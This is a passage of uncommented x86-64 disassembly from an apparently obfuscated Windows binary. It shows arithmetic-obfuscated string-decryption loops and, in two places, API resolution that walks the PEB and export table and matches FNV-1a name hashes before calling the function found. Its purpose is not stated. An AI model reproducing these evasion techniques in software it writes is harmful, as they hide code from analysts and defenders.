and al, r11b
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x1f0], cl
add rbx, rax
movzx eax, byte [rbp + rbx + 0x1f0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400cedf2
movzx eax, dl
movabs rcx, 0x7be5a33e888d53
add rcx, rbx
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x45
movzx eax, byte [rbp + rbx + 0x1f0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400cedf2
movabs rcx, 0xc01f6f4529a5ceb5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xd
jmp 0x1400cedf0
movabs rcx, 0x6a7780d8554ac5d3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3b
jmp 0x1400cede0
lea rdi, [rbp + 0x154fddc]
jmp 0x1400cfb5f
lea rdi, [rbp + 0x142824d]
jmp 0x1400cfb5f
lea rdi, [rbp + 0x1f0]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400cfbe5
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400cfbe5
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
mov edx, 0x84e4bb89
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400cfbe0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400cfbc0
cmp edx, 0x146f0923
je 0x1400cfbea
test r9d, r9d
jne 0x1400cfba0
mov rax, qword [rax]
jmp 0x1400cfb70
mov edx, dword [r11 + 0x24]
mov rcx, rdi
mov r8d, dword [r11 + 0x1c]
add rdx, r10
add r8, r10
movzx edx, word [rdx + r9*2]
mov eax, dword [r8 + rdx*4]
add rax, r10
call rax
movzx r10d, byte [rsp + 0x30]
xor eax, eax
mov qword [rbp + 0x21e], rax
movabs rdi, 0xb591d28f1ff70d67
mov dword [rbp + 0x226], eax
movabs rsi, 0x726bad7ebf58979
mov word [rbp + 0x22a], ax
movabs r15, 0x5dfac0e23e797a8b
mov byte [rbp + 0x22c], al
movabs r14, 0x4b3139136f029463
mov dword [rbp + 0x210], 0xcbbc8cba
movabs r12, 0x8f3bb74ef20f9f4d
mov dword [rbp + 0x214], 0x93bd6e71
movabs r13, 0xf09912b482c57622
mov dword [rbp + 0x218], 0xafa46f93
mov word [rbp + 0x21c], 0x55ae
nop
mov r8, qword [0x1402ff1a0]
mov r9, qword [0x1402ff198]
nop
xor r11d, r11d
cmp r11, 0x1d
jae 0x1400d0a39
movzx ebx, byte [rbp + r11 + 0x210]
mov rdx, rbx
nop dword [rax]
cmp r8, r11
ja 0x1400d0a30
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400cfcec
lea rcx, [r11 + r15]
mov rax, rbx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rbx
add r10, rcx
add r10b, 0x33
jmp 0x1400cfd25
je 0x1400d09ac
inc rax
cmp r8, rax
je 0x1400d0945
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d090e
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d08eb
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d0898
cmp r9, r11
ja 0x1400d0a27
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1400cfd4e
lea rcx, [r11 + rdi]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x2f
jmp 0x1400cfd82
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d0877
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d084e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d07fb
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d07d8
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x1400d035c
nop
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d0339
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400d0308
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400d02df
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d02ba
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400d0294
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d0271
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d0249
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400d0222
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400cfd90
lea r8, [r9 + 5]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400d0a04
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400d09e1
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400cff67
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400cff4d
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400cff33
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400d01c6
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400d0166
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400d011d
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400d00ef
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400cfd90
lea r8, [r9 + 8]
lea r9, [r8 + 0x61]
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400d00b5
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400d0092
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400d0070
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400d0048
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400d0022
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400cfffa
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400cffd1
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400cffa9
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400cff81
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400cfd90
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x42]
jmp 0x1400cfd90
lea rcx, [r11 + rsi]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4f
jmp 0x1400cfd82
lea rcx, [r11 + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x4b
jmp 0x1400cfd25
lea rcx, [r11 + r12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x1b
jmp 0x1400cfcb6
mov ecx, 0x3c
movabs rdx, 0xac8e9478ffb86b38
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d08ba
lea rdx, [r11 + r13]
mov ecx, 9
movzx eax, dl
inc r9
and al, bl
dec r11
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r11
jmp 0x1400cfca3
movabs rcx, 0x34a390f005d2810c
add rcx, r11
dec r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x54
inc r11
jmp 0x1400cfca3
mov ecx, 0x23
movabs rdx, 0x78ae0f2b88df8bf6
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d081d
movabs rcx, 0xbcb88d670bec96e0
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x20
add r8, r9
jmp 0x1400d092c
mov ecx, 0x3d
movabs rdx, 0xc30ba28ef9a1ca
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d092c
mov ecx, 0xa
movabs rdx, 0x44cd89de1206acb4
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x1400d079b
movabs rcx, 0x88d808199513b79e
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x52
jmp 0x1400d0962
mov ecx, 0x24
movabs rdx, 0xcce286551820c288
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + r11 + 0x210]
add rax, r9
add r11, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r11
jmp 0x1400cfca3
movabs rcx, 0xf6fcc1e9dfc15dd1
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x49
mov byte [rbp + r11 + 0x210], r10b
inc r11
jmp 0x1400cfca3
movabs rcx, 0x3b07402562ce68bb
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x1d
cmp r9, 0x42
jb 0x1400d010d
movabs rcx, 0x71e8da24e466d362
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r10d, [rcx*2 - 0x5c]
jmp 0x1400d08ba
movabs rcx, 0x7f11be60e5db73a5
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x7d
cmp r8, 0x28
jae 0x1400d0747
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x1400d0649
mov ecx, 0x2b
movabs rdx, 0x1a51c87802e94086
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d013b
movabs rcx, 0xc31c3c9c68e87e8f
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x17
lea rax, [r9 + r8]
cmp rax, 0x10
je 0x1400d0776
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400d051c
movabs rcx, 0x64bff5e8e2f2331f
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x27
jmp 0x1400d0184
movabs rdx, 0x85756d9642d75b54
movzx r10d, bl
add rdx, r11
movzx eax, dl
and al, bl
add al, al
sub r10b, al
sub r10b, 0x4c
add r10b, dl
jmp 0x1400d0962
mov ecx, 0x27
movabs rdx, 0xc97febd1c5e4663e
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400d07a1
movabs rcx, 0xd8a6a0d48f17128
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x18
jmp 0x1400d092c
movabs rcx, 0x5194e848cbfe7c12
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7e
add r8, r9
jmp 0x1400d092c
mov ecx, 0xe
movabs rdx, 0x959f66844f0b86fc
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x1400d081a
movabs rcx, 0xd9a9e4bfd21891e6
add rcx, r11
dec r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4a
inc r11
jmp 0x1400cfca3
mov ecx, 0x28
movabs rdx, 0x1db462fb55259cd0
add rdx, r11
inc r9
movzx eax, dl
dec r11
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r11
jmp 0x1400cfca3
movabs rcx, 0x61bee136d832a7ba
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x16
jmp 0x1400d08ba
lea rcx, [r9 + 2]
cmp r8, rcx
jae 0x1400d037f
lea rcx, [r11 + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x33
jmp 0x1400d01e4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d03c2
mov ecx, 0x2f
movabs rdx, 0x6b23a51e3fee1ace
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + r11 + 0x210]
add rax, r9
add r11, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r11
jmp 0x1400cfca3
inc rax
cmp r8, rax
jne 0x1400d03f1
movabs rdx, 0x271926e2bce10fe4
movzx r10d, bl
add rdx, r11
movzx eax, dl
and al, bl
add al, al
sub r10b, al
sub r10b, 0x3c
add r10b, dl
jmp 0x1400d0962
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d0422
mov ecx, 0x15
movabs rdx, 0xe30ea8a739d404fa
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400d07a1
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400d044e
movabs rcx, 0x9f042a6bb6c6fa10
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x70
jmp 0x1400d092c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d047f
mov ecx, 0x2e
movabs rdx, 0x16ef2df4b0ace43c
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d081d
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d04b1
movabs rcx, 0xd2e4afb92d9fd952
add rcx, r11
dec r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x3e
inc r11
jmp 0x1400cfca3
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d04eb
mov ecx, 0x14
movabs rdx, 0x8eda317daa92ce68
add rdx, r11
inc r9
movzx eax, dl
dec r11
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r11
jmp 0x1400cfca3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d01e4
movabs rdx, 0x4acfb3422785c37e
movzx r10d, bl
add rdx, r11
movzx eax, dl
and al, bl
add al, al
sub r10b, al
sub r10b, 0x72
jmp 0x1400d08b7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d0549
movabs rdx, 0x20b577ad5fe52835
movzx r10d, bl
add rdx, r11
movzx eax, dl
and al, bl
add al, al
sub r10b, al
sub r10b, 0x73
jmp 0x1400d08b7
inc rax
cmp r8, rax
jne 0x1400d057d
movabs rcx, 0xdcaaf971dcd81d4b
inc r9
add rcx, r11
dec r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0xd
inc r11
jmp 0x1400cfca3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d05af
movabs rcx, 0x98a07b3659cb1261
add rcx, r11
dec r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x59
inc r11
jmp 0x1400cfca3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d05db
movabs rcx, 0xcc810083d0a3f1a3
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x75
jmp 0x1400d092c
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d0607
movabs rcx, 0x887682484d96e6b9
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0xf
jmp 0x1400d07a1
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d0184
movabs rcx, 0x6185d1477cd0e5
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + r11 + 0x210]
add rax, r9
add r11, rax
lea r10d, [rbx + rcx]
sub r10b, 0x43
inc r11
jmp 0x1400cfca3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d0687
movabs rcx, 0xd6474a3c7fdc359c
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + r11 + 0x210]
add rax, r9
add r11, rax
lea r10d, [rbx + rcx]
sub r10b, 0x44
inc r11
jmp 0x1400cfca3
inc rax
cmp r8, rax
jne 0x1400d06b7
mov ecx, 0x11
movabs rdx, 0x923ccc00fccf2ab2
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d0962
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d06e3
movabs rcx, 0x4e324dc579c21fc8
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x78
jmp 0x1400d07a1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d070f
movabs rcx, 0xa27cf89f6b514de
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x12
jmp 0x1400d092c
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d013b
mov ecx, 0x2a
movabs rdx, 0xc61d514e73a809f4
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
add r8, r9
jmp 0x1400d092c
movzx r10d, byte [rbp + r11 + 0x210]
movabs rdx, 0x2dde5be96159c878
add rdx, r11
movzx eax, dl
and al, bl
add al, al
sub r10b, al
sub r10b, 0x48
add r10b, dl
add r10b, bl
jmp 0x1400d081d
mov ecx, 0xf
movabs rdx, 0xe9d3ddadde4cbd8e
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + r11 + 0x210]
add r10b, dl
add r10b, bl
movzx eax, bl
inc r9
movabs rdx, 0x47ce9e901cc63819
movzx ecx, bl
add rdx, r11
and al, dl
add al, al
sub cl, al
add cl, 0x51
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x210], al
add rax, r9
sub r11, rax
jmp 0x1400d0962
movabs rcx, 0x1d52dd2a0da8cbeb
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x6d
jmp 0x1400d092c
movabs rdx, 0xa567d9a113c2e1bf
movzx r10d, bl
add rdx, r11
movzx eax, dl
and al, bl
add al, al
sub r10b, al
sub r10b, 0x39
add r10b, dl
movabs rdx, 0x8bd91ccb9fd34303
movzx ecx, r10b
add rdx, r11
movzx eax, dl
and al, bl
add al, al
sub cl, al
sub cl, 0x15
add cl, dl
add cl, bl
mov byte [rbp + r11 + 0x210], cl
add r8, r9
jmp 0x1400d092c
movabs rcx, 0xe97257dc96cfeca9
add rcx, r11
dec r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x61
inc r11
jmp 0x1400cfca3
movabs rdx, 0x718754539cea027d
movzx r10d, bl
add rdx, r11
movzx eax, dl
and al, bl
add al, al
sub r10b, al
sub r10b, 0x6b
jmp 0x1400d08b7
movabs rdx, 0xf99c50caa3041851
movzx r10d, bl
add rdx, r11
movzx eax, dl
and al, bl
add al, al
sub r10b, al
sub r10b, 0x37
add r10b, dl
movabs rcx, 0xcfe39b0722e04ded
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x7b
add cl, bl
mov byte [rbp + r11 + 0x210], cl
inc r9
dec r11
inc r11
jmp 0x1400cfca3
movabs rcx, 0x9c649b8af3843f9
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x31
add r8, r9
jmp 0x1400d092c
movabs rcx, 0x4dd0c7f432454ee3
add rcx, r11
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x35
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400cfca3
mov rbx, rdx
movabs rax, 0xd5e5c46b385f64b7
add rax, r11
and dl, al
add dl, dl
sub al, dl
lea r10d, [rbx + rax]
dec r10b
inc r8
movabs rcx, 0xa5c95f725b3fb2a4
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub cl, 0x7c
add cl, bl
mov byte [rbp + r11 + 0x210], cl
add r11, rax
movzx eax, byte [rbp + r11 + 0x210]
add rax, r9
add r11, rax
inc r11
jmp 0x1400cfca3
movzx eax, dl
movabs rcx, 0x19f042a6bb6c6fa1
add rcx, r11
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x67
movzx eax, byte [rbp + r11 + 0x210]
add rax, r9
add r11, rax
inc r11
jmp 0x1400cfca3
movabs rcx, 0xd346358a751caa37
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x7f
jmp 0x1400cfca0
movabs rcx, 0x1750b3c5f829b521
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x19
jmp 0x1400cfc90
lea rdi, [rbp + 0x15e5774]
jmp 0x1400d0a40
lea rdi, [rbp + 0xd7d1ff]
jmp 0x1400d0a40
lea rdi, [rbp + 0x210]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400d0ad5
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400d0ad5
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
mov edx, 0x6f7ab36c
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400d0ad0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400d0ab0
cmp edx, 0x7d02963e
je 0x1400d0ada
test r9d, r9d
jne 0x1400d0a90
mov rax, qword [rax]
jmp 0x1400d0a60
mov edx, dword [r11 + 0x24]
mov rcx, rdi
mov r8d, dword [r11 + 0x1c]
add rdx, r10
add r8, r10
movzx edx, word [rdx + r9*2]
mov eax, dword [r8 + rdx*4]
add rax, r10
call rax
movzx r10d, byte [rsp + 0x30]
xor eax, eax
mov qword [rbp + 0x23a], rax
movabs rdi, 0xc3ce653b231ac61
mov dword [rbp + 0x242], eax
movabs rsi, 0x81c3dc29fcffa5bf
mov byte [rbp + 0x246], al
movabs r15, 0x7a7cce03fc4b821d
mov dword [rbp + 0x230], 0xde0b110f
movabs r14, 0x8cca40220468a185
mov dword [rbp + 0x234], 0x130cdbdc
movabs r12, 0x97d0a41a0bd19d4b
mov word [rbp + 0x238], 0xed12
movabs r13, 0x6ced969598f65ece
nop dword [rax]
mov r8, qword [0x1402ff1a0]
mov r9, qword [0x1402ff198]
nop
xor ebx, ebx
cmp rbx, 0x17
jae 0x1400d1910
movzx r11d, byte [rbp + rbx + 0x230]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400d1907
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400d0bcc
lea rcx, [rbx + r15]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
add r10b, 0x35
jmp 0x1400d0c13
je 0x1400d1882
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d17e6
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400d17af
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d178a
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d173b
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400d1710
cmp r9, rbx
ja 0x1400d18fe
lea rcx, [r9 + 2]
cmp r8, rcx
jae 0x1400d0c41
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
add r10b, 0x59
add r10b, dl
jmp 0x1400d0c82
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d16b8
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d168d
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400d1669
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d1641
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d160b
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400d12a5
nop
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d1281
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400d124f
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400d1225
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400d11ff
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d11d3
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d11af
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d1186
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d1162
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400d1128
lea r8, [r9 + 0x40]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400d18da
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400d18b6
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400d0e5d
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400d0e3e
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400d0e1f
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400d10c8
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400d106b
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400d101c
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400d0fed
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400d0fb3
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400d0f8f
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400d0f66
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400d0f42
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400d0f16
lea rcx, [r9 + 0x2a]
cmp r8, rcx
ja 0x1400d0ef2
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d0ec8
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400d0e9f
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400d0e7b
mov r8, rcx
lea r9, [rcx + 0x61]
jmp 0x1400d0c90
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x39
add r10b, dl
jmp 0x1400d0c82
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
add r10b, 0x5d
add r10b, dl
jmp 0x1400d0c13
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub dl, 0xd
sub r10b, al
add r10b, dl
jmp 0x1400d0b95
movabs rcx, 0x61e7329d918d6308
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
jmp 0x1400d16db
lea rdx, [rbx + r13]
mov ecx, 0x2f
movzx eax, dl
inc r9
and al, r11b
dec rbx
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400d0b82
movabs rcx, 0x77f3fa8da05f5a94
add rcx, rbx
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
inc rbx
jmp 0x1400d0b82
movabs rcx, 0x82fa5e85a7c8565a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x76
jmp 0x1400d175e
mov ecx, 0x10
movabs rdx, 0x8e00c27daf315220
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
jmp 0x1400d17cd
movabs rcx, 0x99072675b69a4de6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4a
jmp 0x1400d17cd
mov ecx, 0x26
movabs rdx, 0xa40d8a6dbe0349ac
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d1804
movabs rcx, 0xaf13ee65c56c4572
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
jmp 0x1400d1834
mov ecx, 0x3c
movabs rdx, 0xba1a525dccd54138
